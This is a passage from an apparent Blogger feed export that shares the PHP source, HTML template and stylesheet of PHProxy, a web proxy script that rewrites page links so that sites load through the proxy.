=&gt; array('background'),&lt;br /&gt;        'base'       =&gt; array('href'),&lt;br /&gt;        'frame'      =&gt; array('src', 'longdesc'),&lt;br /&gt;        'iframe'     =&gt; array('src', 'longdesc'),&lt;br /&gt;        'head'       =&gt; array('profile'),&lt;br /&gt;        'layer'      =&gt; array('src'),&lt;br /&gt;        'input'      =&gt; array('src', 'usemap'),&lt;br /&gt;        'form'       =&gt; array('action'),&lt;br /&gt;        'area'       =&gt; array('href'),&lt;br /&gt;        'link'       =&gt; array('href', 'src', 'urn'),&lt;br /&gt;        'meta'       =&gt; array('content'),&lt;br /&gt;        'param'      =&gt; array('value'),&lt;br /&gt;        'applet'     =&gt; array('codebase', 'code', 'object', 'archive'),&lt;br /&gt;        'object'     =&gt; array('usermap', 'codebase', 'classid', 'archive', 'data'),&lt;br /&gt;        'script'     =&gt; array('src'),&lt;br /&gt;        'select'     =&gt; array('src'),&lt;br /&gt;        'hr'         =&gt; array('src'),&lt;br /&gt;        'table'      =&gt; array('background'),&lt;br /&gt;        'tr'         =&gt; array('background'),&lt;br /&gt;        'th'         =&gt; array('background'),&lt;br /&gt;        'td'         =&gt; array('background'),&lt;br /&gt;        'bgsound'    =&gt; array('src'),&lt;br /&gt;        'blockquote' =&gt; array('cite'),&lt;br /&gt;        'del'        =&gt; array('cite'),&lt;br /&gt;        'embed'      =&gt; array('src'),&lt;br /&gt;        'fig'        =&gt; array('src', 'imagemap'),&lt;br /&gt;        'ilayer'     =&gt; array('src'),&lt;br /&gt;        'ins'        =&gt; array('cite'),&lt;br /&gt;        'note'       =&gt; array('src'),&lt;br /&gt;        'overlay'    =&gt; array('src', 'imagemap'),&lt;br /&gt;        'q'          =&gt; array('cite'),&lt;br /&gt;        'ul'         =&gt; array('src')&lt;br /&gt;    );&lt;br /&gt;&lt;br /&gt;    preg_match_all('#(&amp;lt;\s*style[^&gt;]*&gt;)(.*?)(&amp;lt;\s*/\s*style[^&gt;]*&gt;)#is', $_response_body, $matches, PREG_SET_ORDER);&lt;br /&gt;&lt;br /&gt;    for ($i = 0, $count_i = count($matches); $i &amp;lt; $count_i; ++$i)&lt;br /&gt;    {&lt;br /&gt;        $_response_body = str_replace($matches[$i][0], $matches[$i][1]. proxify_css($matches[$i][2]) .$matches[$i][3], $_response_body);&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    preg_match_all("#&amp;lt;\s*([a-zA-Z\?-]+)([^&gt;]+)&gt;#S", $_response_body, $matches);&lt;br /&gt;&lt;br /&gt;    for ($i = 0, $count_i = count($matches[0]); $i &amp;lt; $count_i; ++$i)&lt;br /&gt;    {&lt;br /&gt;        if (!preg_match_all("#([a-zA-Z\-\/]+)\s*(?:=\s*(?:\"([^\"&gt;]*)\"?|'([^'&gt;]*)'?|([^'\"\s]*)))?#S", $matches[2][$i], $m, PREG_SET_ORDER))&lt;br /&gt;        {&lt;br /&gt;            continue;&lt;br /&gt;        }&lt;br /&gt;        &lt;br /&gt;        $rebuild    = false;&lt;br /&gt;        $extra_html = $temp = '';&lt;br /&gt;        $attrs      = array();&lt;br /&gt;&lt;br /&gt;        for ($j = 0, $count_j = count($m); $j &amp;lt; $count_j; $attrs[strtolower($m[$j][1])] = (isset($m[$j][4]) ? $m[$j][4] : (isset($m[$j][3]) ? $m[$j][3] : (isset($m[$j][2]) ? $m[$j][2] : false))), ++$j);&lt;br /&gt;        &lt;br /&gt;        if (isset($attrs['style']))&lt;br /&gt;        {&lt;br /&gt;            $rebuild = true;&lt;br /&gt;            $attrs['style'] = proxify_inline_css($attrs['style']);&lt;br /&gt;        }&lt;br /&gt;        &lt;br /&gt;        $tag = strtolower($matches[1][$i]);&lt;br /&gt;&lt;br /&gt;        if (isset($tags[$tag]))&lt;br /&gt;        {&lt;br /&gt;            switch ($tag)&lt;br /&gt;            {&lt;br /&gt;                case 'a':&lt;br /&gt;                    if (isset($attrs['href']))&lt;br /&gt;                    {&lt;br /&gt;                        $rebuild = true;&lt;br /&gt;                        $attrs['href'] = complete_url($attrs['href']);&lt;br /&gt;                    }&lt;br /&gt;                    break;&lt;br /&gt;                case 'img':&lt;br /&gt;                    if (isset($attrs['src']))&lt;br /&gt;                    {&lt;br /&gt;                        $rebuild = true;&lt;br /&gt;                        $attrs['src'] = complete_url($attrs['src']);&lt;br /&gt;                    }&lt;br /&gt;                    if (isset($attrs['longdesc']))&lt;br /&gt;                    {&lt;br /&gt;                        $rebuild = true;&lt;br /&gt;                        $attrs['longdesc'] = complete_url($attrs['longdesc']);&lt;br /&gt;                    }&lt;br /&gt;                    break;&lt;br /&gt;                case 'form':&lt;br /&gt;                    if (isset($attrs['action']))&lt;br /&gt;                    {&lt;br /&gt;                        $rebuild = true;&lt;br /&gt;                        &lt;br /&gt;                        if (trim($attrs['action']) === '')&lt;br /&gt;                        {&lt;br /&gt;                            $attrs['action'] = $_url_parts['path'];&lt;br /&gt;                        }&lt;br /&gt;                        if (!isset($attrs['method']) || strtolower(trim($attrs['method'])) === 'get')&lt;br /&gt;                        {&lt;br /&gt;                            $extra_html = '&amp;lt;input type="hidden" name="' . $_config['get_form_name'] . '" value="' . encode_url(complete_url($attrs['action'], false)) . '" /&gt;';&lt;br /&gt;                            $attrs['action'] = '';&lt;br /&gt;                            break;&lt;br /&gt;                        }&lt;br /&gt;                        &lt;br /&gt;                        $attrs['action'] = complete_url($attrs['action']);&lt;br /&gt;                    }&lt;br /&gt;                    break;&lt;br /&gt;                case 'base':&lt;br /&gt;                    if (isset($attrs['href']))&lt;br /&gt;                    {&lt;br /&gt;                        $rebuild = true;  &lt;br /&gt;                        url_parse($attrs['href'], $_base);&lt;br /&gt;                        $attrs['href'] = complete_url($attrs['href']);&lt;br /&gt;                    }&lt;br /&gt;                    break;&lt;br /&gt;                case 'meta':&lt;br /&gt;                    if ($_flags['strip_meta'] &amp;&amp; isset($attrs['name']))&lt;br /&gt;                    {&lt;br /&gt;                        $_response_body = str_replace($matches[0][$i], '', $_response_body);&lt;br /&gt;                    }&lt;br /&gt;                    if (isset($attrs['http-equiv'], $attrs['content']) &amp;&amp; preg_match('#\s*refresh\s*#i', $attrs['http-equiv']))&lt;br /&gt;                    {&lt;br /&gt;                        if (preg_match('#^(\s*[0-9]*\s*;\s*url=)(.*)#i', $attrs['content'], $content))&lt;br /&gt;                        {                 &lt;br /&gt;                            $rebuild = true;&lt;br /&gt;                            $attrs['content'] =  $content[1] . complete_url(trim($content[2], '"\''));&lt;br /&gt;                        }&lt;br /&gt;                    }&lt;br /&gt;                    break;&lt;br /&gt;                case 'head':&lt;br /&gt;                    if (isset($attrs['profile']))&lt;br /&gt;                    {&lt;br /&gt;                        $rebuild = true;&lt;br /&gt;                        $attrs['profile'] = implode(' ', array_map('complete_url', explode(' ', $attrs['profile'])));&lt;br /&gt;                    }&lt;br /&gt;                    break;&lt;br /&gt;                case 'applet':&lt;br /&gt;                    if (isset($attrs['codebase']))&lt;br /&gt;                    {&lt;br /&gt;                        $rebuild = true;&lt;br /&gt;                        $temp = $_base;&lt;br /&gt;                        url_parse(complete_url(rtrim($attrs['codebase'], '/') . '/', false), $_base);&lt;br /&gt;                        unset($attrs['codebase']);&lt;br /&gt;                    }&lt;br /&gt;                    if (isset($attrs['code']) &amp;&amp; strpos($attrs['code'], '/') !== false)&lt;br /&gt;                    {&lt;br /&gt;                        $rebuild = true;&lt;br /&gt;                        $attrs['code'] = complete_url($attrs['code']);&lt;br /&gt;                    }&lt;br /&gt;                    if (isset($attrs['object']))&lt;br /&gt;                    {&lt;br /&gt;                        $rebuild = true;&lt;br /&gt;                        $attrs['object'] = complete_url($attrs['object']);&lt;br /&gt;                    }&lt;br /&gt;                    if (isset($attrs['archive']))&lt;br /&gt;                    {&lt;br /&gt;                        $rebuild = true;&lt;br /&gt;                        $attrs['archive'] = implode(',', array_map('complete_url', preg_split('#\s*,\s*#', $attrs['archive'])));&lt;br /&gt;                    }&lt;br /&gt;                    if (!empty($temp))&lt;br /&gt;                    {&lt;br /&gt;                        $_base = $temp;&lt;br /&gt;                    }&lt;br /&gt;                    break;&lt;br /&gt;                case 'object':&lt;br /&gt;                    if (isset($attrs['usemap']))&lt;br /&gt;                    {&lt;br /&gt;                        $rebuild = true;&lt;br /&gt;                        $attrs['usemap'] = complete_url($attrs['usemap']);&lt;br /&gt;                    }&lt;br /&gt;                    if (isset($attrs['codebase']))&lt;br /&gt;                    {&lt;br /&gt;                        $rebuild = true;&lt;br /&gt;                        $temp = $_base;&lt;br /&gt;                        url_parse(complete_url(rtrim($attrs['codebase'], '/') . '/', false), $_base);&lt;br /&gt;                        unset($attrs['codebase']);&lt;br /&gt;                    }&lt;br /&gt;                    if (isset($attrs['data']))&lt;br /&gt;                    {&lt;br /&gt;                        $rebuild = true;&lt;br /&gt;                        $attrs['data'] = complete_url($attrs['data']);&lt;br /&gt;                    }&lt;br /&gt;                    if (isset($attrs['classid']) &amp;&amp; !preg_match('#^clsid:#i', $attrs['classid']))&lt;br /&gt;                    {&lt;br /&gt;                        $rebuild = true;&lt;br /&gt;                        $attrs['classid'] = complete_url($attrs['classid']);&lt;br /&gt;                    }&lt;br /&gt;                    if (isset($attrs['archive']))&lt;br /&gt;                    {&lt;br /&gt;                        $rebuild = true;&lt;br /&gt;                        $attrs['archive'] = implode(' ', array_map('complete_url', explode(' ', $attrs['archive'])));&lt;br /&gt;                    }&lt;br /&gt;                    if (!empty($temp))&lt;br /&gt;                    {&lt;br /&gt;                        $_base = $temp;&lt;br /&gt;                    }&lt;br /&gt;                    break;&lt;br /&gt;                case 'param':&lt;br /&gt;                    if (isset($attrs['valuetype'], $attrs['value']) &amp;&amp; strtolower($attrs['valuetype']) == 'ref' &amp;&amp; preg_match('#^[\w.+-]+://#', $attrs['value']))&lt;br /&gt;                    {&lt;br /&gt;                        $rebuild = true;&lt;br /&gt;                        $attrs['value'] = complete_url($attrs['value']);&lt;br /&gt;                    }&lt;br /&gt;                    break;&lt;br /&gt;                case 'frame':&lt;br /&gt;                case 'iframe':&lt;br /&gt;                    if (isset($attrs['src']))&lt;br /&gt;                    {&lt;br /&gt;                        $rebuild = true;&lt;br /&gt;                        $attrs['src'] = complete_url($attrs['src']) . '&amp;nf=1';&lt;br /&gt;                    }&lt;br /&gt;                    if (isset($attrs['longdesc']))&lt;br /&gt;                    {&lt;br /&gt;                        $rebuild = true;&lt;br /&gt;                        $attrs['longdesc'] = complete_url($attrs['longdesc']);&lt;br /&gt;                    }&lt;br /&gt;                    break;&lt;br /&gt;                default:&lt;br /&gt;                    foreach ($tags[$tag] as $attr)&lt;br /&gt;                    {&lt;br /&gt;                        if (isset($attrs[$attr]))&lt;br /&gt;                        {&lt;br /&gt;                            $rebuild = true;&lt;br /&gt;                            $attrs[$attr] = complete_url($attrs[$attr]);&lt;br /&gt;                        }&lt;br /&gt;                    }&lt;br /&gt;                    break;&lt;br /&gt;            }&lt;br /&gt;        }&lt;br /&gt;    &lt;br /&gt;        if ($rebuild)&lt;br /&gt;        {&lt;br /&gt;            $new_tag = "&amp;lt;$tag";&lt;br /&gt;            foreach ($attrs as $name =&gt; $value)&lt;br /&gt;            {&lt;br /&gt;                $delim = strpos($value, '"') &amp;&amp; !strpos($value, "'") ? "'" : '"';&lt;br /&gt;                $new_tag .= ' ' . $name . ($value !== false ? '=' . $delim . $value . $delim : '');&lt;br /&gt;            }&lt;br /&gt;&lt;br /&gt;            $_response_body = str_replace($matches[0][$i], $new_tag . '&gt;' . $extra_html, $_response_body);&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;    &lt;br /&gt;    if ($_flags['include_form'] &amp;&amp; !isset($_GET['nf']))&lt;br /&gt;    {&lt;br /&gt;        $_url_form      = '&amp;lt;div style="width:100%;margin:0;text-align:center;border-bottom:1px solid #725554;color:#000000;background-color:#F2FDF3;font-size:12px;font-weight:bold;font-family:Bitstream Vera Sans,arial,sans-serif;padding:4px;"&gt;'&lt;br /&gt;                        . '&amp;lt;form method="post" action="' . $_script_url . '"&gt;'&lt;br /&gt;                        . ' &amp;lt;label for="____' . $_config['url_var_name'] . '"&gt;&amp;lt;a href="' . $_url . '"&gt;Address&amp;lt;/a&gt;:&amp;lt;/label&gt; &amp;lt;input id="____' . $_config['url_var_name'] . '" type="text" size="80" name="' . $_config['url_var_name'] . '" value="' . $_url . '" /&gt;'&lt;br /&gt;                        . ' &amp;lt;input type="submit" name="go" value="Go" /&gt;'&lt;br /&gt;                        . ' [go: &amp;lt;a href="' . $_script_url . '?' . $_config['url_var_name'] . '=' . encode_url($_url_parts['prev_dir']) .' "&gt;up one dir&amp;lt;/a&gt;, &amp;lt;a href="' . $_script_base . '"&gt;main page&amp;lt;/a&gt;]'&lt;br /&gt;                        . '&amp;lt;br /&gt;&amp;lt;hr /&gt;';&lt;br /&gt;&lt;br /&gt;        foreach ($_flags as $flag_name =&gt; $flag_value)&lt;br /&gt;        {&lt;br /&gt;            if (!$_frozen_flags[$flag_name])&lt;br /&gt;            {&lt;br /&gt;                $_url_form .= '&amp;lt;label&gt;&amp;lt;input type="checkbox" name="' . $_config['flags_var_name'] . '[' . $flag_name . ']"' . ($flag_value ? ' checked="checked"' : '') . ' /&gt; ' . $_labels[$flag_name][0] . '&amp;lt;/label&gt; ';&lt;br /&gt;            }&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        $_url_form .= '&amp;lt;/form&gt;&amp;lt;/div&gt;';&lt;br /&gt;        $_response_body = preg_replace('#\&amp;lt;\s*body(.*?)\&gt;#si', "$0\n$_url_form" , $_response_body, 1);&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;$_response_keys['content-disposition'] = 'Content-Disposition';&lt;br /&gt;$_response_headers['content-disposition'][0] = empty($_content_disp) ? ($_content_type == 'application/octet_stream' ? 'attachment' : 'inline') . '; filename="' . $_url_parts['file'] . '"' : $_content_disp;&lt;br /&gt;$_response_keys['content-length'] = 'Content-Length';&lt;br /&gt;$_response_headers['content-length'][0] = strlen($_response_body);    &lt;br /&gt;$_response_headers   = array_filter($_response_headers);&lt;br /&gt;$_response_keys      = array_filter($_response_keys);&lt;br /&gt;&lt;br /&gt;header(array_shift($_response_keys));&lt;br /&gt;array_shift($_response_headers);&lt;br /&gt;&lt;br /&gt;foreach ($_response_headers as $name =&gt; $array)&lt;br /&gt;{&lt;br /&gt;    foreach ($array as $value)&lt;br /&gt;    {&lt;br /&gt;        header($_response_keys[$name] . ': ' . $value, false);&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;echo $_response_body;&lt;br /&gt;?&gt;&lt;/pre&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: php;" rel="long"&gt;&amp;lt;?php &lt;br /&gt;//#######################################################&lt;br /&gt;// find more codes on scripts-n-codes.blogspot.com&lt;br /&gt;//#######################################################&lt;br /&gt;//&lt;br /&gt;// this file -&gt; index.inc.php&lt;br /&gt;//&lt;br /&gt;&lt;br /&gt;if (basename(__FILE__) == basename($_SERVER['PHP_SELF']))&lt;br /&gt;{&lt;br /&gt;    exit(0);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;echo '&amp;lt;?xml version="1.0" encoding="utf-8"?&gt;';&lt;br /&gt;&lt;br /&gt;?&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt;&lt;br /&gt;&amp;lt;html xmlns="http://www.w3.org/1999/xhtml" lang="en-US" xml:lang="en-US"&gt;&lt;br /&gt;&amp;lt;head&gt;&lt;br /&gt;  &amp;lt;title&gt;PHProxy&amp;lt;/title&gt;&lt;br /&gt;  &amp;lt;link rel="stylesheet" type="text/css" href="style.css" title="Default Theme" media="all" /&gt;&lt;br /&gt;&amp;lt;/head&gt;&lt;br /&gt;&amp;lt;body onload="document.getElementById('address_box').focus()"&gt;&lt;br /&gt;&amp;lt;div id="container"&gt;&lt;br /&gt;  &amp;lt;h1 id="title"&gt;PHProxy&amp;lt;/h1&gt;&lt;br /&gt;  &amp;lt;ul id="navigation"&gt;&lt;br /&gt;    &amp;lt;li&gt;&amp;lt;a href="&amp;lt;?php echo $GLOBALS['_script_base'] ?&gt;"&gt;URL Form&amp;lt;/a&gt;&amp;lt;/li&gt;&lt;br /&gt;    &amp;lt;li&gt;&amp;lt;a href="javascript:alert('cookie managment has not been implemented yet')"&gt;Manage Cookies&amp;lt;/a&gt;&amp;lt;/li&gt;&lt;br /&gt;  &amp;lt;/ul&gt;&lt;br /&gt;&amp;lt;?php&lt;br /&gt;&lt;br /&gt;switch ($data['category'])&lt;br /&gt;{&lt;br /&gt;    case 'auth':&lt;br /&gt;?&gt;&lt;br /&gt;  &amp;lt;div id="auth"&gt;&amp;lt;p&gt;&lt;br /&gt;  &amp;lt;b&gt;Enter your username and password for "&amp;lt;?php echo htmlspecialchars($data['realm']) ?&gt;" on &amp;lt;?php echo $GLOBALS['_url_parts']['host'] ?&gt;&amp;lt;/b&gt;&lt;br /&gt;  &amp;lt;form method="post" action=""&gt;&lt;br /&gt;    &amp;lt;input type="hidden" name="&amp;lt;?php echo $GLOBALS['_config']['basic_auth_var_name'] ?&gt;" value="&amp;lt;?php echo base64_encode($data['realm']) ?&gt;" /&gt;&lt;br /&gt;    &amp;lt;label&gt;Username &amp;lt;input type="text" name="username" value="" /&gt;&amp;lt;/label&gt; &amp;lt;label&gt;Password &amp;lt;input type="password" name="password" value="" /&gt;&amp;lt;/label&gt; &amp;lt;input type="submit" value="Login" /&gt;&lt;br /&gt;  &amp;lt;/form&gt;&amp;lt;/p&gt;&amp;lt;/div&gt;&lt;br /&gt;&amp;lt;?php&lt;br /&gt;        break;&lt;br /&gt;    case 'error':&lt;br /&gt;        echo '&amp;lt;div id="error"&gt;&amp;lt;p&gt;';&lt;br /&gt;        &lt;br /&gt;        switch ($data['group'])&lt;br /&gt;        {&lt;br /&gt;            case 'url':&lt;br /&gt;                echo '&amp;lt;b&gt;URL Error (' . $data['error'] . ')&amp;lt;/b&gt;: ';&lt;br /&gt;                switch ($data['type'])&lt;br /&gt;                {&lt;br /&gt;                    case 'internal':&lt;br /&gt;                        $message = 'Failed to connect to the specified host. '&lt;br /&gt;                                 . 'Possible problems are that the server was not found, the connection timed out, or the connection refused by the host. '&lt;br /&gt;                                 . 'Try connecting again and check if the address is correct.';&lt;br /&gt;                        break;&lt;br /&gt;                    case 'external':&lt;br /&gt;                        switch ($data['error'])&lt;br /&gt;                        {&lt;br /&gt;                            case 1:&lt;br /&gt;                                $message = 'The URL you\'re attempting to access is blacklisted by this server. Please select another URL.';&lt;br /&gt;                                break;&lt;br /&gt;                            case 2:&lt;br /&gt;                                $message = 'The URL you entered is malformed. Please check whether you entered the correct URL or not.';&lt;br /&gt;                                break;&lt;br /&gt;                        }&lt;br /&gt;                        break;&lt;br /&gt;                }&lt;br /&gt;                break;&lt;br /&gt;            case 'resource':&lt;br /&gt;                echo '&amp;lt;b&gt;Resource Error:&amp;lt;/b&gt; ';&lt;br /&gt;                switch ($data['type'])&lt;br /&gt;                {&lt;br /&gt;                    case 'file_size':&lt;br /&gt;                        $message = 'The file your are attempting to download is too large.&amp;lt;br /&gt;'&lt;br /&gt;                                 . 'Maxiumum permissible file size is &amp;lt;b&gt;' . number_format($GLOBALS['_config']['max_file_size']/1048576, 2) . ' MB&amp;lt;/b&gt;&amp;lt;br /&gt;'&lt;br /&gt;                                 . 'Requested file size is &amp;lt;b&gt;' . number_format($GLOBALS['_content_length']/1048576, 2) . ' MB&amp;lt;/b&gt;';&lt;br /&gt;                        break;&lt;br /&gt;                    case 'hotlinking':&lt;br /&gt;                        $message = 'It appears that you are trying to access a resource through this proxy from a remote Website.&amp;lt;br /&gt;'&lt;br /&gt;                                 . 'For security reasons, please use the form below to do so.';&lt;br /&gt;                        break;&lt;br /&gt;                }&lt;br /&gt;                break;&lt;br /&gt;        }&lt;br /&gt;        &lt;br /&gt;        echo 'An error has occured while trying to browse through the proxy. &amp;lt;br /&gt;' . $message . '&amp;lt;/p&gt;&amp;lt;/div&gt;';&lt;br /&gt;        break;&lt;br /&gt;}&lt;br /&gt;?&gt;&lt;br /&gt;  &amp;lt;form method="post" action="&amp;lt;?php echo $_SERVER['PHP_SELF'] ?&gt;"&gt;&lt;br /&gt;    &amp;lt;ul id="form"&gt;&lt;br /&gt;      &amp;lt;li id="address_bar"&gt;&amp;lt;label&gt;Web Address &amp;lt;input id="address_box" type="text" name="&amp;lt;?php echo $GLOBALS['_config']['url_var_name'] ?&gt;" value="&amp;lt;?php echo isset($GLOBALS['_url']) ? htmlspecialchars($GLOBALS['_url']) : '' ?&gt;" onfocus="this.select()" /&gt;&amp;lt;/label&gt; &amp;lt;input id="go" type="submit" value="Go" /&gt;&amp;lt;/li&gt;&lt;br /&gt;      &amp;lt;?php&lt;br /&gt;      &lt;br /&gt;      foreach ($GLOBALS['_flags'] as $flag_name =&gt; $flag_value)&lt;br /&gt;      {&lt;br /&gt;          if (!$GLOBALS['_frozen_flags'][$flag_name])&lt;br /&gt;          {&lt;br /&gt;              echo '&amp;lt;li class="option"&gt;&amp;lt;label&gt;&amp;lt;input type="checkbox" name="' . $GLOBALS['_config']['flags_var_name'] . '[' . $flag_name . ']"' . ($flag_value ? ' checked="checked"' : '') . ' /&gt;' . $GLOBALS['_labels'][$flag_name][1] . '&amp;lt;/label&gt;&amp;lt;/li&gt;' . "\n";&lt;br /&gt;          }&lt;br /&gt;      }&lt;br /&gt;      ?&gt;&lt;br /&gt;    &amp;lt;/ul&gt;&lt;br /&gt;  &amp;lt;/form&gt;&lt;br /&gt;  &amp;lt;!-- The least you could do is leave this link back as it is. This software is provided for free and I ask nothing in return except that you leave this link intact&lt;br /&gt;       You're more likely to recieve support should you require some if I see a link back in your installation than if not --&gt;&lt;br /&gt;  &amp;lt;div id="footer"&gt;&amp;lt;a href="http://whitefyre.com/poxy/"&gt;PHProxy&amp;lt;/a&gt; &amp;lt;?php echo $GLOBALS['_version'] ?&gt;&amp;lt;/div&gt;&lt;br /&gt;&amp;lt;/div&gt;&lt;br /&gt;&amp;lt;/body&gt;&lt;br /&gt;&amp;lt;/html&gt;&lt;/pre&gt;&lt;br /&gt;&lt;pre class="brush: css;" rel="long"&gt;/*&lt;br /&gt;--&gt; find more codes on scripts-n-codes.blogspot.com &amp;lt;--&lt;br /&gt;this file --&gt; style.css&lt;br /&gt;*/&lt;br /&gt;body, input&lt;br /&gt;{&lt;br /&gt;    font-family: "Bitstream Vera Sans", Arial, Helvetica, sans-serif;&lt;br /&gt;    color: #44352C;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;a&lt;br /&gt;{&lt;br /&gt;    color: #9B9C83;&lt;br /&gt;    text-decoration:none;&lt;br /&gt;    border-bottom: 1px orange dashed;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;a:hover &lt;br /&gt;{&lt;br /&gt;    color: #0080FF;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;#container&lt;br /&gt;{&lt;br /&gt;    border: 1px #9B9C83 solid;&lt;br /&gt;    -moz-border-radius: 8px;&lt;br /&gt;    margin: auto;&lt;br /&gt;    padding: 5px;&lt;br /&gt;    width: 700px;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;#title&lt;br /&gt;{&lt;br /&gt;    color: #CC6633;&lt;br /&gt;    margin: 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;ul#navigation, ul#form&lt;br /&gt;{&lt;br /&gt;    list-style-type: none;&lt;br /&gt;    padding: 0;&lt;br /&gt;    margin: 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;ul#navigation&lt;br /&gt;{&lt;br /&gt;    float: right;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;ul#form&lt;br /&gt;{&lt;br /&gt;    clear: both;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;ul#navigation li&lt;br /&gt;{&lt;br /&gt;    float: left;&lt;br /&gt;    margin: 0;&lt;br /&gt;    padding: 5px 0;&lt;br /&gt;    border-top: 2px #BFAA9B solid;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;ul#navigation li a&lt;br /&gt;{&lt;br /&gt;    font-weight: bold;&lt;br /&gt;    color: #ffffff;&lt;br /&gt;    background-color: #AA8E79;&lt;br /&gt;    padding: 5px 15px;&lt;br /&gt;    margin-left: 1px;&lt;br /&gt;    text-decoration: none;&lt;br /&gt;    border-bottom: 0 #ffffff solid;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;ul#navigation li  a:hover&lt;br /&gt;{&lt;br /&gt;    color: #44352C;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;ul#form li&lt;br /&gt;{&lt;br /&gt;    width: 700px;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;#footer&lt;br /&gt;{&lt;br /&gt;    color: #9B9C83;&lt;br /&gt;    font-size: small;&lt;br /&gt;    text-align: right;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;#address_bar&lt;br /&gt;{&lt;br /&gt;    border-top: 2px #BFAA9B solid;&lt;br /&gt;    border-bottom: 3px #44352C solid;&lt;br /&gt;    background-color: #AA8E79;&lt;br /&gt;    text-align: center;&lt;br /&gt;    padding: 5px 0;&lt;br /&gt;    color: #ffffff;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;#go&lt;br /&gt;{&lt;br /&gt;    background-color: #ffffff;&lt;br /&gt;    font-weight: bold;&lt;br /&gt;    color: #AA8E79;&lt;br /&gt;    border: 0 #ffffff solid;&lt;br /&gt;    padding: 2px 5px;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;#address_box&lt;br /&gt;{&lt;br /&gt;    width: 500px;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;.option&lt;br /&gt;{&lt;br /&gt;    padding: 2px 0;&lt;br /&gt;    background-color: #EEEBEA;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;.option label&lt;br /&gt;{&lt;br /&gt;    border-bottom: 2px #ffffff solid;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;form&lt;br /&gt;{&lt;br /&gt;    margin: 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;#error, #auth&lt;br /&gt;{&lt;br /&gt;    background-color: #BF6464;&lt;br /&gt;    border-top: 1px solid #44352C;&lt;br /&gt;    border-bottom: 1px solid #44352C;&lt;br /&gt;    width: 700px;&lt;br /&gt;    clear: both;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;#auth&lt;br /&gt;{&lt;br /&gt;    background-color: #94C261;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;#error p, #auth p, #auth form&lt;br /&gt;{&lt;br /&gt;    margin: 5px;&lt;br /&gt;}&lt;/pre&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5729501043429724554-8220985148890803427?l=scripts-n-codes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scripts-n-codes.blogspot.com/feeds/8220985148890803427/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5729501043429724554&amp;postID=8220985148890803427&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5729501043429724554/posts/default/8220985148890803427'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5729501043429724554/posts/default/8220985148890803427'/><link rel='alternate' type='text/html' href='http://scripts-n-codes.blogspot.com/2010/01/php-php-proxy-un-proxy-en-php.html' title='[PHP] A PHP Proxy | Un proxy en PHP'/><author><name>ubu</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_Rpg-hP4Y4L4/Sz_mBCVri-I/AAAAAAAAAew/Rp3OiKG2TJ8/S220/ubutux2.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5729501043429724554.post-3893978067088063612</id><published>2010-01-12T15:14:00.001-08:00</published><updated>2010-01-12T15:16:57.504-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='unzip'/><category scheme='http://www.blogger.com/atom/ns#' term='compréssé'/><category scheme='http://www.blogger.com/atom/ns#' term='file'/><category scheme='http://www.blogger.com/atom/ns#' term='compressed'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><category scheme='http://www.blogger.com/atom/ns#' term='zip'/><category scheme='http://www.blogger.com/atom/ns#' term='dézipper'/><title type='text'>[PHP] Unzip a file | Dézipper un fichier</title><content type='html'>&lt;script type="text/javascript" src="http://sites.google.com/site/dzubugnu/hightlighter/scripts/shBrushPhp.js"&gt;&lt;/script&gt;&lt;br /&gt;&lt;ul&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;li&gt;&lt;a href="#A21229279320687056"&gt;&lt;span&gt;Description&amp;nbsp;[FR]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="#B21229279320687056"&gt;&lt;span&gt;Description&amp;nbsp;[EN]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="#C21229279320687056"&gt;&lt;span&gt;الوصف&amp;nbsp;[AR]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a 